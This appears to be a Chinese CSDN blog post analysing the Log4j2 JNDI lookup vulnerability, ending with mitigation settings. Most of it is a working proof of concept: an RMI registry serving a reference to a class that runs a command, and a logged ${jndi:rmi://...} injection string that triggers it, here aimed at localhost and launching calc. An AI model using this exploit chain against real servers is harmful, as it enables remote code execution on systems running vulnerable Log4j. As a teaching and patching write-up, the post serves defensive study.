分析Log4j2漏洞

本文详细介绍了Apache Log4j2的严重漏洞,该漏洞允许远程代码执行。首先,展示了如何搭建环境并利用Lookups功能查询运行信息。接着,通过创建注册中心和入侵代码类演示了入侵详细过程,触发RMI执行代码。然后,提供了官方已修复的Log4j2版本,并给出了临时修复措施,包括设置JVM参数、添加配置文件和升级JDK。最后,建议了防范措施以增强系统安全性。
摘要由CSDN通过智能技术生成

简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

环境搭建

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

利用漏洞查询运行信息

  • 运行Lookups查询信息

public class TestLog {

    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String text1  = "${java:vm}";
        logger.info("测试,{}",text1);
        
    }
}
  • Log4j2官网椎间中有Lookups详解 这其实是Lookups的功能如图
    在这里插入图片描述

入侵详细过程:Lookups基于jndi ,jndi 支持 rmi 执行代码

  • 创建注册中心
package controller;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
    public static void main(String[] args) {
        try {
            /**
             * 搞一个注册中心
             * 端口:8888
             */
            LocateRegistry.createRegistry(8888);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("执行 端口 8888");

            /**
             * 注册服务
             * TestObj 自定义类-> 可执行自定义代码
             */
            Reference reference = new Reference("TestObj", "cTestObj", "");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 服务名字
            registry.bind("testName", referenceWrapper);

        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

  • 创建入侵代码类
package controller;

public class TestObj {
    static {
        try {
        // 打开计算机
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

  • 运行
package controller;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class TestLog {

    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        // 在当前网站后台执行
        String text  = "${jndi:rmi://localhost:8888/testName}";
        logger.info("测试,{}",text);

    }
}

  • 执行结果
    在这里插入图片描述

修复方式(今天我在运行时官方已经修复)

  • 未修复之前的影响范围为Apache Log4j 2.x <= 2.15.0-rc1

建议

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文- 件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值